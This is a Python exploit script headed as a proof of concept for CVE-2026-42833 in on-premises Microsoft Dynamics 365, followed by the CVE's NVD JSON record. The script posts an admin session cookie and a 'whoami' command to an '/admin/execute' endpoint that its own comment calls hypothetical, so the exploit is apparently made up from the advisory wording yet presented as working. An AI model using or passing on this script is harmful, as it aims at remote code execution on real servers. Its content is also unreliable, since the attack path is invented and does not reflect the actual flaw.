CVE-2026-42833

import requests # Exploit Title: Microsoft Dynamics 365 (on-premises) Privilege Escalation / RCE # Date: 2026-05-12 # Exploit Author: Analyst # Vendor Homepage: https://www.microsoft.com # Version: Microsoft Dynamics 365 (on-premises) # CVE: CVE-2026-42833 def exploit(target_url, attacker_cookie): """ Proof of Concept for CVE-2026-42833. Demonstrates executing code with unnecessary privileges. Requires a high-privileged authenticated session. """ headers = { "Cookie": attacker_cookie, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } # Payload to execute arbitrary command (e.g., whoami) # This endpoint is hypothetical based on the vulnerability description payload = { "command": "whoami", "privilege_level": "system" # Exploiting unnecessary privilege execution } vuln_endpoint = f"{target_url}/api/v1.0/admin/execute" try: response = requests.post(vuln_endpoint, headers=headers, json=payload, verify=False) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Command output:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "https://target-dynamics-server.com" # High-privileged session cookie is required (PR:H) cookie = "SessionId=ADMIN_SESSION_TOKEN_HERE" exploit(target, cookie)

{"cve": {"id": "CVE-2026-42833", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:25.933", "lastModified": "2026-05-14T14:26:21.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Execution with unnecessary privileges in Microsoft Dynamics 365 (on-premises) allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:dynamics_365:*:*:*:*:on-premises:*:*:*", "versionStartIncluding": "9.1", "versionEndExcluding": "9.1.45.11", "matchCriteriaId": "F717CDF4-FD7A-4170-AB31-26A5FCF7DD8C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}